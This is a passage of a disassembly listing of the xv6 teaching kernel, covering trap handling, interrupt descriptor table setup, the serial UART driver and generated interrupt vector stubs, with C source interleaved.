mov $0x10,%ax movw %ax, %ds 80105a92: 8e d8 mov %eax,%ds movw %ax, %es 80105a94: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105a96: 54 push %esp call trap 80105a97: e8 e4 00 00 00 call 80105b80 <trap> addl $4, %esp 80105a9c: 83 c4 04 add $0x4,%esp 80105a9f <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105a9f: 61 popa popl %gs 80105aa0: 0f a9 pop %gs popl %fs 80105aa2: 0f a1 pop %fs popl %es 80105aa4: 07 pop %es popl %ds 80105aa5: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105aa6: 83 c4 08 add $0x8,%esp iret 80105aa9: cf iret 80105aaa: 66 90 xchg %ax,%ax 80105aac: 66 90 xchg %ax,%ax 80105aae: 66 90 xchg %ax,%ax 80105ab0 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105ab0: 31 c0 xor %eax,%eax 80105ab2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105ab8: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 80105abf: b9 08 00 00 00 mov $0x8,%ecx 80105ac4: c6 04 c5 84 54 11 80 movb $0x0,-0x7feeab7c(,%eax,8) 80105acb: 00 80105acc: 66 89 0c c5 82 54 11 mov %cx,-0x7feeab7e(,%eax,8) 80105ad3: 80 80105ad4: c6 04 c5 85 54 11 80 movb $0x8e,-0x7feeab7b(,%eax,8) 80105adb: 8e 80105adc: 66 89 14 c5 80 54 11 mov %dx,-0x7feeab80(,%eax,8) 80105ae3: 80 80105ae4: c1 ea 10 shr $0x10,%edx 80105ae7: 66 89 14 c5 86 54 11 mov %dx,-0x7feeab7a(,%eax,8) 80105aee: 80 void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105aef: 83 c0 01 add $0x1,%eax 80105af2: 3d 00 01 00 00 cmp $0x100,%eax 80105af7: 75 bf jne 80105ab8 <tvinit+0x8> struct spinlock tickslock; uint ticks; void tvinit(void) { 80105af9: 55 push %ebp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105afa: ba 08 00 00 00 mov $0x8,%edx struct spinlock tickslock; uint ticks; void tvinit(void) { 80105aff: 89 e5 mov %esp,%ebp 80105b01: 83 ec 10 sub $0x10,%esp int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105b04: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 80105b09: 68 c9 7b 10 80 push $0x80107bc9 80105b0e: 68 40 54 11 80 push $0x80115440 { int i; for(i = 0; i < 256; i++) SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105b13: 66 89 15 82 56 11 80 mov %dx,0x80115682 80105b1a: c6 05 84 56 11 80 00 movb $0x0,0x80115684 80105b21: 66 a3 80 56 11 80 mov %ax,0x80115680 80105b27: c1 e8 10 shr $0x10,%eax 80105b2a: c6 05 85 56 11 80 ef movb $0xef,0x80115685 80105b31: 66 a3 86 56 11 80 mov %ax,0x80115686 initlock(&tickslock, "time"); 80105b37: e8 f4 e9 ff ff call 80104530 <initlock> } 80105b3c: 83 c4 10 add $0x10,%esp 80105b3f: c9 leave 80105b40: c3 ret 80105b41: eb 0d jmp 80105b50 <idtinit> 80105b43: 90 nop 80105b44: 90 nop 80105b45: 90 nop 80105b46: 90 nop 80105b47: 90 nop 80105b48: 90 nop 80105b49: 90 nop 80105b4a: 90 nop 80105b4b: 90 nop 80105b4c: 90 nop 80105b4d: 90 nop 80105b4e: 90 nop 80105b4f: 90 nop 80105b50 <idtinit>: void idtinit(void) { 80105b50: 55 push %ebp static inline void lidt(struct gatedesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 80105b51: b8 ff 07 00 00 mov $0x7ff,%eax 80105b56: 89 e5 mov %esp,%ebp 80105b58: 83 ec 10 sub $0x10,%esp 80105b5b: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 80105b5f: b8 80 54 11 80 mov $0x80115480,%eax 80105b64: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105b68: c1 e8 10 shr $0x10,%eax 80105b6b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 80105b6f: 8d 45 fa lea -0x6(%ebp),%eax 80105b72: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105b75: c9 leave 80105b76: c3 ret 80105b77: 89 f6 mov %esi,%esi 80105b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105b80 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105b80: 55 push %ebp 80105b81: 89 e5 mov %esp,%ebp 80105b83: 57 push %edi 80105b84: 56 push %esi 80105b85: 53 push %ebx 80105b86: 83 ec 0c sub $0xc,%esp 80105b89: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 80105b8c: 8b 43 30 mov 0x30(%ebx),%eax 80105b8f: 83 f8 40 cmp $0x40,%eax 80105b92: 0f 84 78 01 00 00 je 80105d10 <trap+0x190> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105b98: 83 e8 20 sub $0x20,%eax 80105b9b: 83 f8 1f cmp $0x1f,%eax 80105b9e: 77 10 ja 80105bb0 <trap+0x30> 80105ba0: ff 24 85 2c 7c 10 80 jmp *-0x7fef83d4(,%eax,4) 80105ba7: 89 f6 mov %esi,%esi 80105ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105bb0: e8 fb db ff ff call 801037b0 <myproc> 80105bb5: 85 c0 test %eax,%eax 80105bb7: 0f 84 a3 01 00 00 je 80105d60 <trap+0x1e0> 80105bbd: f6 43 3c 03 testb $0x3,0x3c(%ebx) 80105bc1: 0f 84 99 01 00 00 je 80105d60 <trap+0x1e0> // In user space, assume process misbehaved. //cprintf("pid %d %s: trap %d err %d on cpu %d " // "eip 0x%x addr 0x%x--kill proc\n", // myproc()->pid, myproc()->name, tf->trapno, // tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 80105bc7: e8 e4 db ff ff call 801037b0 <myproc> 80105bcc: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 80105bd3: 90 nop 80105bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105bd8: e8 d3 db ff ff call 801037b0 <myproc> 80105bdd: 85 c0 test %eax,%eax 80105bdf: 74 0c je 80105bed <trap+0x6d> 80105be1: e8 ca db ff ff call 801037b0 <myproc> 80105be6: 8b 50 24 mov 0x24(%eax),%edx 80105be9: 85 d2 test %edx,%edx 80105beb: 75 33 jne 80105c20 <trap+0xa0> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); #endif // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105bed: e8 be db ff ff call 801037b0 <myproc> 80105bf2: 85 c0 test %eax,%eax 80105bf4: 74 1d je 80105c13 <trap+0x93> 80105bf6: e8 b5 db ff ff call 801037b0 <myproc> 80105bfb: 8b 40 24 mov 0x24(%eax),%eax 80105bfe: 85 c0 test %eax,%eax 80105c00: 74 11 je 80105c13 <trap+0x93> 80105c02: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105c06: 83 e0 03 and $0x3,%eax 80105c09: 66 83 f8 03 cmp $0x3,%ax 80105c0d: 0f 84 26 01 00 00 je 80105d39 <trap+0x1b9> exit(); } 80105c13: 8d 65 f4 lea -0xc(%ebp),%esp 80105c16: 5b pop %ebx 80105c17: 5e pop %esi 80105c18: 5f pop %edi 80105c19: 5d pop %ebp 80105c1a: c3 ret 80105c1b: 90 nop 80105c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105c20: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105c24: 83 e0 03 and $0x3,%eax 80105c27: 66 83 f8 03 cmp $0x3,%ax 80105c2b: 75 c0 jne 80105bed <trap+0x6d> exit(); 80105c2d: e8 3e e0 ff ff call 80103c70 <exit> 80105c32: eb b9 jmp 80105bed <trap+0x6d> 80105c34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } lapiceoi(); break; case T_IRQ0 + IRQ_IDE: ideintr(); 80105c38: e8 03 c4 ff ff call 80102040 <ideintr> lapiceoi(); 80105c3d: e8 be ca ff ff call 80102700 <lapiceoi> break; 80105c42: eb 94 jmp 80105bd8 <trap+0x58> 80105c44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return; } switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ 80105c48: e8 43 db ff ff call 80103790 <cpuid> 80105c4d: 85 c0 test %eax,%eax 80105c4f: 75 ec jne 80105c3d <trap+0xbd> acquire(&tickslock); 80105c51: 83 ec 0c sub $0xc,%esp 80105c54: 68 40 54 11 80 push $0x80115440 80105c59: e8 32 ea ff ff call 80104690 <acquire> ticks++; //update(); wakeup(&ticks); 80105c5e: c7 04 24 80 5c 11 80 movl $0x80115c80,(%esp) switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ acquire(&tickslock); ticks++; 80105c65: 83 05 80 5c 11 80 01 addl $0x1,0x80115c80 //update(); wakeup(&ticks); 80105c6c: e8 7f e4 ff ff call 801040f0 <wakeup> release(&tickslock); 80105c71: c7 04 24 40 54 11 80 movl $0x80115440,(%esp) 80105c78: e8 c3 ea ff ff call 80104740 <release> if(myproc()) 80105c7d: e8 2e db ff ff call 801037b0 <myproc> 80105c82: 83 c4 10 add $0x10,%esp 80105c85: 85 c0 test %eax,%eax 80105c87: 74 b4 je 80105c3d <trap+0xbd> { if(myproc()->state == RUNNING) 80105c89: e8 22 db ff ff call 801037b0 <myproc> 80105c8e: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105c92: 0f 84 b7 00 00 00 je 80105d4f <trap+0x1cf> { myproc()->rtime++; } else if(myproc()->state == SLEEPING) 80105c98: e8 13 db ff ff call 801037b0 <myproc> 80105c9d: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80105ca1: 75 9a jne 80105c3d <trap+0xbd> { myproc()->iotime++; 80105ca3: e8 08 db ff ff call 801037b0 <myproc> 80105ca8: 83 80 88 00 00 00 01 addl $0x1,0x88(%eax) 80105caf: eb 8c jmp 80105c3d <trap+0xbd> 80105cb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; case T_IRQ0 + IRQ_KBD: kbdintr(); 80105cb8: e8 03 c9 ff ff call 801025c0 <kbdintr> lapiceoi(); 80105cbd: e8 3e ca ff ff call 80102700 <lapiceoi> break; 80105cc2: e9 11 ff ff ff jmp 80105bd8 <trap+0x58> 80105cc7: 89 f6 mov %esi,%esi 80105cc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi case T_IRQ0 + IRQ_COM1: uartintr(); 80105cd0: e8 2b 02 00 00 call 80105f00 <uartintr> lapiceoi(); 80105cd5: e8 26 ca ff ff call 80102700 <lapiceoi> break; 80105cda: e9 f9 fe ff ff jmp 80105bd8 <trap+0x58> 80105cdf: 90 nop case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 80105ce0: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 80105ce4: 8b 7b 38 mov 0x38(%ebx),%edi 80105ce7: e8 a4 da ff ff call 80103790 <cpuid> 80105cec: 57 push %edi 80105ced: 56 push %esi 80105cee: 50 push %eax 80105cef: 68 d4 7b 10 80 push $0x80107bd4 80105cf4: e8 67 a9 ff ff call 80100660 <cprintf> cpuid(), tf->cs, tf->eip); lapiceoi(); 80105cf9: e8 02 ca ff ff call 80102700 <lapiceoi> break; 80105cfe: 83 c4 10 add $0x10,%esp 80105d01: e9 d2 fe ff ff jmp 80105bd8 <trap+0x58> 80105d06: 8d 76 00 lea 0x0(%esi),%esi 80105d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi //PAGEBREAK: 41 void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) 80105d10: e8 9b da ff ff call 801037b0 <myproc> 80105d15: 8b 70 24 mov 0x24(%eax),%esi 80105d18: 85 f6 test %esi,%esi 80105d1a: 75 2c jne 80105d48 <trap+0x1c8> exit(); myproc()->tf = tf; 80105d1c: e8 8f da ff ff call 801037b0 <myproc> 80105d21: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80105d24: e8 67 ee ff ff call 80104b90 <syscall> if(myproc()->killed) 80105d29: e8 82 da ff ff call 801037b0 <myproc> 80105d2e: 8b 48 24 mov 0x24(%eax),%ecx 80105d31: 85 c9 test %ecx,%ecx 80105d33: 0f 84 da fe ff ff je 80105c13 <trap+0x93> #endif // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) exit(); } 80105d39: 8d 65 f4 lea -0xc(%ebp),%esp 80105d3c: 5b pop %ebx 80105d3d: 5e pop %esi 80105d3e: 5f pop %edi 80105d3f: 5d pop %ebp if(myproc()->killed) exit(); myproc()->tf = tf; syscall(); if(myproc()->killed) exit(); 80105d40: e9 2b df ff ff jmp 80103c70 <exit> 80105d45: 8d 76 00 lea 0x0(%esi),%esi void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) exit(); 80105d48: e8 23 df ff ff call 80103c70 <exit> 80105d4d: eb cd jmp 80105d1c <trap+0x19c> release(&tickslock); if(myproc()) { if(myproc()->state == RUNNING) { myproc()->rtime++; 80105d4f: e8 5c da ff ff call 801037b0 <myproc> 80105d54: 83 80 84 00 00 00 01 addl $0x1,0x84(%eax) 80105d5b: e9 dd fe ff ff jmp 80105c3d <trap+0xbd> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105d60: 0f 20 d7 mov %cr2,%edi //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105d63: 8b 73 38 mov 0x38(%ebx),%esi 80105d66: e8 25 da ff ff call 80103790 <cpuid> 80105d6b: 83 ec 0c sub $0xc,%esp 80105d6e: 57 push %edi 80105d6f: 56 push %esi 80105d70: 50 push %eax 80105d71: ff 73 30 pushl 0x30(%ebx) 80105d74: 68 f8 7b 10 80 push $0x80107bf8 80105d79: e8 e2 a8 ff ff call 80100660 <cprintf> tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); 80105d7e: 83 c4 14 add $0x14,%esp 80105d81: 68 ce 7b 10 80 push $0x80107bce 80105d86: e8 e5 a5 ff ff call 80100370 <panic> 80105d8b: 66 90 xchg %ax,%ax 80105d8d: 66 90 xchg %ax,%ax 80105d8f: 90 nop 80105d90 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105d90: a1 bc a5 10 80 mov 0x8010a5bc,%eax outb(COM1+0, c); } static int uartgetc(void) { 80105d95: 55 push %ebp 80105d96: 89 e5 mov %esp,%ebp if(!uart) 80105d98: 85 c0 test %eax,%eax 80105d9a: 74 1c je 80105db8 <uartgetc+0x28> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105d9c: ba fd 03 00 00 mov $0x3fd,%edx 80105da1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105da2: a8 01 test $0x1,%al 80105da4: 74 12 je 80105db8 <uartgetc+0x28> 80105da6: ba f8 03 00 00 mov $0x3f8,%edx 80105dab: ec in (%dx),%al return -1; return inb(COM1+0); 80105dac: 0f b6 c0 movzbl %al,%eax } 80105daf: 5d pop %ebp 80105db0: c3 ret 80105db1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi static int uartgetc(void) { if(!uart) return -1; 80105db8: b8 ff ff ff ff mov $0xffffffff,%eax if(!(inb(COM1+5) & 0x01)) return -1; return inb(COM1+0); } 80105dbd: 5d pop %ebp 80105dbe: c3 ret 80105dbf: 90 nop 80105dc0 <uartputc.part.0>: for(p="xv6...\n"; *p; p++) uartputc(*p); } void uartputc(int c) 80105dc0: 55 push %ebp 80105dc1: 89 e5 mov %esp,%ebp 80105dc3: 57 push %edi 80105dc4: 56 push %esi 80105dc5: 53 push %ebx 80105dc6: 89 c7 mov %eax,%edi 80105dc8: bb 80 00 00 00 mov $0x80,%ebx 80105dcd: be fd 03 00 00 mov $0x3fd,%esi 80105dd2: 83 ec 0c sub $0xc,%esp 80105dd5: eb 1b jmp 80105df2 <uartputc.part.0+0x32> 80105dd7: 89 f6 mov %esi,%esi 80105dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); 80105de0: 83 ec 0c sub $0xc,%esp 80105de3: 6a 0a push $0xa 80105de5: e8 36 c9 ff ff call 80102720 <microdelay> { int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80105dea: 83 c4 10 add $0x10,%esp 80105ded: 83 eb 01 sub $0x1,%ebx 80105df0: 74 07 je 80105df9 <uartputc.part.0+0x39> 80105df2: 89 f2 mov %esi,%edx 80105df4: ec in (%dx),%al 80105df5: a8 20 test $0x20,%al 80105df7: 74 e7 je 80105de0 <uartputc.part.0+0x20> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105df9: ba f8 03 00 00 mov $0x3f8,%edx 80105dfe: 89 f8 mov %edi,%eax 80105e00: ee out %al,(%dx) microdelay(10); outb(COM1+0, c); } 80105e01: 8d 65 f4 lea -0xc(%ebp),%esp 80105e04: 5b pop %ebx 80105e05: 5e pop %esi 80105e06: 5f pop %edi 80105e07: 5d pop %ebp 80105e08: c3 ret 80105e09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105e10 <uartinit>: static int uart; // is there a uart? void uartinit(void) { 80105e10: 55 push %ebp 80105e11: 31 c9 xor %ecx,%ecx 80105e13: 89 c8 mov %ecx,%eax 80105e15: 89 e5 mov %esp,%ebp 80105e17: 57 push %edi 80105e18: 56 push %esi 80105e19: 53 push %ebx 80105e1a: bb fa 03 00 00 mov $0x3fa,%ebx 80105e1f: 89 da mov %ebx,%edx 80105e21: 83 ec 0c sub $0xc,%esp 80105e24: ee out %al,(%dx) 80105e25: bf fb 03 00 00 mov $0x3fb,%edi 80105e2a: b8 80 ff ff ff mov $0xffffff80,%eax 80105e2f: 89 fa mov %edi,%edx 80105e31: ee out %al,(%dx) 80105e32: b8 0c 00 00 00 mov $0xc,%eax 80105e37: ba f8 03 00 00 mov $0x3f8,%edx 80105e3c: ee out %al,(%dx) 80105e3d: be f9 03 00 00 mov $0x3f9,%esi 80105e42: 89 c8 mov %ecx,%eax 80105e44: 89 f2 mov %esi,%edx 80105e46: ee out %al,(%dx) 80105e47: b8 03 00 00 00 mov $0x3,%eax 80105e4c: 89 fa mov %edi,%edx 80105e4e: ee out %al,(%dx) 80105e4f: ba fc 03 00 00 mov $0x3fc,%edx 80105e54: 89 c8 mov %ecx,%eax 80105e56: ee out %al,(%dx) 80105e57: b8 01 00 00 00 mov $0x1,%eax 80105e5c: 89 f2 mov %esi,%edx 80105e5e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105e5f: ba fd 03 00 00 mov $0x3fd,%edx 80105e64: ec in (%dx),%al outb(COM1+3, 0x03); // Lock divisor, 8 data bits. outb(COM1+4, 0); outb(COM1+1, 0x01); // Enable receive interrupts. // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) 80105e65: 3c ff cmp $0xff,%al 80105e67: 74 5a je 80105ec3 <uartinit+0xb3> return; uart = 1; 80105e69: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105e70: 00 00 00 80105e73: 89 da mov %ebx,%edx 80105e75: ec in (%dx),%al 80105e76: ba f8 03 00 00 mov $0x3f8,%edx 80105e7b: ec in (%dx),%al // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); 80105e7c: 83 ec 08 sub $0x8,%esp 80105e7f: bb ac 7c 10 80 mov $0x80107cac,%ebx 80105e84: 6a 00 push $0x0 80105e86: 6a 04 push $0x4 80105e88: e8 03 c4 ff ff call 80102290 <ioapicenable> 80105e8d: 83 c4 10 add $0x10,%esp 80105e90: b8 78 00 00 00 mov $0x78,%eax 80105e95: eb 13 jmp 80105eaa <uartinit+0x9a> 80105e97: 89 f6 mov %esi,%esi 80105e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105ea0: 83 c3 01 add $0x1,%ebx 80105ea3: 0f be 03 movsbl (%ebx),%eax 80105ea6: 84 c0 test %al,%al 80105ea8: 74 19 je 80105ec3 <uartinit+0xb3> void uartputc(int c) { int i; if(!uart) 80105eaa: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx 80105eb0: 85 d2 test %edx,%edx 80105eb2: 74 ec je 80105ea0 <uartinit+0x90> inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105eb4: 83 c3 01 add $0x1,%ebx 80105eb7: e8 04 ff ff ff call 80105dc0 <uartputc.part.0> 80105ebc: 0f be 03 movsbl (%ebx),%eax 80105ebf: 84 c0 test %al,%al 80105ec1: 75 e7 jne 80105eaa <uartinit+0x9a> uartputc(*p); } 80105ec3: 8d 65 f4 lea -0xc(%ebp),%esp 80105ec6: 5b pop %ebx 80105ec7: 5e pop %esi 80105ec8: 5f pop %edi 80105ec9: 5d pop %ebp 80105eca: c3 ret 80105ecb: 90 nop 80105ecc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105ed0 <uartputc>: void uartputc(int c) { int i; if(!uart) 80105ed0: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx uartputc(*p); } void uartputc(int c) { 80105ed6: 55 push %ebp 80105ed7: 89 e5 mov %esp,%ebp int i; if(!uart) 80105ed9: 85 d2 test %edx,%edx uartputc(*p); } void uartputc(int c) { 80105edb: 8b 45 08 mov 0x8(%ebp),%eax int i; if(!uart) 80105ede: 74 10 je 80105ef0 <uartputc+0x20> return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); outb(COM1+0, c); } 80105ee0: 5d pop %ebp 80105ee1: e9 da fe ff ff jmp 80105dc0 <uartputc.part.0> 80105ee6: 8d 76 00 lea 0x0(%esi),%esi 80105ee9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105ef0: 5d pop %ebp 80105ef1: c3 ret 80105ef2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105f00 <uartintr>: return inb(COM1+0); } void uartintr(void) { 80105f00: 55 push %ebp 80105f01: 89 e5 mov %esp,%ebp 80105f03: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 80105f06: 68 90 5d 10 80 push $0x80105d90 80105f0b: e8 e0 a8 ff ff call 801007f0 <consoleintr> } 80105f10: 83 c4 10 add $0x10,%esp 80105f13: c9 leave 80105f14: c3 ret 80105f15 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105f15: 6a 00 push $0x0 pushl $0 80105f17: 6a 00 push $0x0 jmp alltraps 80105f19: e9 69 fb ff ff jmp 80105a87 <alltraps> 80105f1e <vector1>: .globl vector1 vector1: pushl $0 80105f1e: 6a 00 push $0x0 pushl $1 80105f20: 6a 01 push $0x1 jmp alltraps 80105f22: e9 60 fb ff ff jmp 80105a87 <alltraps> 80105f27 <vector2>: .globl vector2 vector2: pushl $0 80105f27: 6a 00 push $0x0 pushl $2 80105f29: 6a 02 push $0x2 jmp alltraps 80105f2b: e9 57 fb ff ff jmp 80105a87 <alltraps> 80105f30 <vector3>: .globl vector3 vector3: pushl $0 80105f30: 6a 00 push $0x0 pushl $3 80105f32: 6a 03 push $0x3 jmp alltraps 80105f34: e9 4e fb ff ff jmp 80105a87 <alltraps> 80105f39 <vector4>: .globl vector4 vector4: pushl $0 80105f39: 6a 00 push $0x0 pushl $4 80105f3b: 6a 04 push $0x4 jmp alltraps 80105f3d: e9 45 fb ff ff jmp 80105a87 <alltraps> 80105f42 <vector5>: .globl vector5 vector5: pushl $0 80105f42: 6a 00 push $0x0 pushl $5 80105f44: 6a 05 push $0x5 jmp alltraps 80105f46: e9 3c fb ff ff jmp 80105a87 <alltraps> 80105f4b <vector6>: .globl vector6 vector6: pushl $0 80105f4b: 6a 00 push $0x0 pushl $6 80105f4d: 6a 06 push $0x6 jmp alltraps 80105f4f: e9 33 fb ff ff jmp 80105a87 <alltraps> 80105f54 <vector7>: .globl vector7 vector7: pushl $0 80105f54: 6a 00 push $0x0 pushl $7 80105f56: 6a 07 push $0x7 jmp alltraps 80105f58: e9 2a fb ff ff jmp 80105a87 <alltraps> 80105f5d <vector8>: .globl vector8 vector8: pushl $8 80105f5d: 6a 08 push $0x8 jmp alltraps 80105f5f: e9 23 fb ff ff jmp 80105a87 <alltraps> 80105f64 <vector9>: .globl vector9 vector9: pushl $0 80105f64: 6a 00 push $0x0 pushl $9 80105f66: 6a 09 push $0x9 jmp alltraps 80105f68: e9 1a fb ff ff jmp 80105a87 <alltraps> 80105f6d <vector10>: .globl vector10 vector10: pushl $10 80105f6d: 6a 0a push $0xa jmp alltraps 80105f6f: e9 13 fb ff ff jmp 80105a87 <alltraps> 80105f74 <vector11>: .globl vector11 vector11: pushl $11 80105f74: 6a 0b push $0xb jmp alltraps 80105f76: e9 0c fb ff ff jmp 80105a87 <alltraps> 80105f7b <vector12>: .globl vector12 vector12: pushl $12 80105f7b: 6a 0c push $0xc jmp alltraps 80105f7d: e9 05 fb ff ff jmp 80105a87 <alltraps> 80105f82 <vector13>: .globl vector13 vector13: pushl $13 80105f82: 6a 0d push $0xd jmp alltraps 80105f84: e9 fe fa ff ff jmp 80105a87 <alltraps> 80105f89 <vector14>: .globl vector14 vector14: pushl $14 80105f89: 6a 0e push $0xe jmp alltraps 80105f8b: e9 f7 fa ff ff jmp 80105a87 <alltraps> 80105f90 <vector15>: .globl vector15 vector15: pushl $0 80105f90: 6a 00 push $0x0 pushl $15 80105f92: 6a 0f push $0xf jmp alltraps 80105f94: e9 ee fa ff ff jmp 80105a87 <alltraps> 80105f99 <vector16>: .globl vector16 vector16: pushl $0 80105f99: 6a 00 push $0x0 pushl $16 80105f9b: 6a 10 push $0x10 jmp alltraps 80105f9d: e9 e5 fa ff ff jmp 80105a87 <alltraps> 80105fa2 <vector17>: .globl vector17 vector17: pushl $17 80105fa2: 6a 11 push $0x11 jmp alltraps 80105fa4: e9 de fa ff ff jmp 80105a87 <alltraps> 80105fa9 <vector18>: .globl vector18 vector18: pushl $0 80105fa9: 6a 00 push $0x0 pushl $18 80105fab: 6a 12 push $0x12 jmp alltraps 80105fad: e9 d5 fa ff ff jmp 80105a87 <alltraps> 80105fb2 <vector19>: .globl vector19 vector19: pushl $0 80105fb2: 6a 00 push $0x0 pushl $19 80105fb4: 6a 13 push $0x13 jmp alltraps 80105fb6: e9 cc fa ff ff jmp 80105a87 <alltraps> 80105fbb <vector20>: .globl vector20 vector20: pushl $0 80105fbb: 6a 00 push $0x0 pushl $20 80105fbd: 6a 14 push $0x14 jmp alltraps 80105fbf: e9 c3 fa ff ff jmp 80105a87 <alltraps> 80105fc4 <vector21>: .globl vector21 vector21: pushl $0 80105fc4: 6a 00 push $0x0 pushl $21 80105fc6: 6a 15 push $0x15 jmp alltraps 80105fc8: e9 ba fa ff ff jmp 80105a87 <alltraps> 80105fcd <vector22>: .globl vector22 vector22: pushl $0 80105fcd: 6a 00 push $0x0 pushl $22 80105fcf: 6a 16 push $0x16 jmp alltraps 80105fd1: e9 b1 fa ff ff jmp 80105a87 <alltraps> 80105fd6 <vector23>: .globl vector23 vector23: pushl $0 80105fd6: 6a 00 push $0x0 pushl $23 80105fd8: 6a 17 push $0x17 jmp alltraps 80105fda: e9 a8 fa ff ff jmp 80105a87 <alltraps> 80105fdf <vector24>: .globl vector24 vector24: pushl $0 80105fdf: 6a 00 push $0x0 pushl $24 80105fe1: 6a 18 push $0x18 jmp alltraps 80105fe3: e9 9f fa ff ff jmp 80105a87 <alltraps> 80105fe8 <vector25>: .globl 